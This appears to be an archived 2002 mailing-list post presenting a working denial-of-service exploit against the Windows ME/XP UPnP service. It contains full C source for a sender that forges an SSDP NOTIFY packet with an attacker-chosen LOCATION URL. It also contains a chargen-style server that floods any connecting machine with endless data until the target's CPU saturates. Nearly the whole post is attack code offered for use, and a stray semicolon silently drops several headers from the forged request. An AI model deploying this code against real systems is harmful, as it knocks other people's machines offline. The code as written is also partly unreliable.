Vulnerability Development mailing list archives

UPNP D0S


From: "Gabriel A. Maggiotti" <gmaggiot () ciudad com ar>
Date: Sat, 05 Jan 2002 23:17:16 -0300

        We develop a code baseline to test the UPNP DOS. The dos
     consists in sending a udp packet to port 1900 with a NOTIFY
     request. This request has a URL that XP uses to open a tcp
     connection. The XP does not sanitize this request so whatever URL
     and port could be specified. Once the tcp connection is opened, a
     chargen code fills the XP memory and the machine gets into an
     unstable state with a 100% of cpu utilization.

     Regards,

     Gabriel Maggiotti

     http://qb0x.net

/* 
 * WinME/XP UPNP D0S  
 *
 * ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>
 *
 * Authors:     Gabriel Maggiotti, Fernando Oubiña
 * Email:       gmaggiot () ciudad com ar, foubina () qb0x net
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX     1000
#define PORT    1900


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
        int sockfd,i;
        int numbytes;
        int num_socks;
        int addr_len;
        char recive_buffer[MAX]="";

        char send_buffer[MAX]=
        "NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n"
        "CACHE-CONTROL: max-age=1\r\nLOCATION: http://www.host.com:port/\r\n";
        "NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n"
        "NTS: ssdp:alive\r\nSERVER: QB0X/201 UPnP/1.0 prouct/1.1\r\n"
        "USN: uuid:QB0X\r\n\r\n\r\n";

        char *aux=send_buffer;
        struct hostent *he;
        struct sockaddr_in their_addr;

        if(argc!=4)
        {
                fprintf(stderr,"usage:%s <remote_hostname> "\
                        "<spooffed_host> <chargen_port>\n",argv[0]);
                exit(1);
        }


        aux=str_replace(argv[2],"www.host.com",send_buffer);
        aux=str_replace(argv[3],"port",send_buffer);

        if((he=gethostbyname(argv[1]))==NULL)
        {
                perror("gethostbyname");
                exit(1);
        }


        if( (sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {
                perror("socket"); exit(1);
        }

        their_addr.sin_family=AF_INET;
        their_addr.sin_port=htons(PORT);
        their_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(their_addr.sin_zero),8);

        if( (numbytes=sendto(sockfd,send_buffer,strlen(send_buffer),0,\
        (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) ==-1)
        {
                perror("send");
                exit(0);
        }
        close(sockfd);

return 0;
}


/*
 * Chargen Server
 *
 * Run: ./chargen <chargen_port>
 *
 *
 * Author:      Gabriel Maggiotti, Fernando Oubiña
 * Email:       gmaggiot () ciudad com ar, foubina () qb0x net
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <malloc.h>

#define BACKLOG 5
#define MAX     500

int
main(int argc, char *argv[])
{
int visit=1;
int i;
int port;
int sockfd;
int newfd;
int numbytes;
char buf[MAX];
char diedbuf[1024];

        struct sockaddr_in my_addr;
        struct sockaddr_in their_addr;
        int sin_size;

        if(argc!=2) {
                fprintf(stderr,"usage: %s <chargen_port>\n",argv[0]);
                return 1;
        }
        port=atoi(argv[1]);

        if( (sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                perror("socket");
                exit(1);
        }

        my_addr.sin_family=AF_INET;
        my_addr.sin_port=htons(port);
        my_addr.sin_addr.s_addr=htonl(INADDR_ANY);
        bzero( &(my_addr.sin_zero),8);

        if( bind(sockfd, (struct sockaddr *) &my_addr,\
                sizeof(struct sockaddr) ) == -1)
        {
                perror("bind");
                exit(1);
        }


        if( listen(sockfd, BACKLOG) == -1)
        {
                perror("listen");
                exit(1);
        }

        for(i=0;i<1024;i++)
                diedbuf[i] = 'q';

        while(1) 
        {       
                sin_size=sizeof( struct sockaddr_in);
                if( (newfd=accept(sockfd,(struct sockaddr*)&their_addr,\
                         &sin_size))== -1)
                {
                        perror("accept");
                        exit(1);
                }
                printf("Visit number: %d\n",visit++);

                if(!fork()) 
                {
                        int i=1;
                        if( (numbytes=recv(newfd,buf,MAX,0))==-1 ) 
                        {
                                perror("recv");
                                exit(1);
                        }
        
                        buf[numbytes]='\0';
                        printf("%s\n",buf);
        
                        while(1)
                        {
                                if(send(newfd,diedbuf,1024,0) ==-1)
                                {
                                        perror("send");
                                        exit(0);
                                }
                        }
                }
        }
close(newfd);
}

Current thread: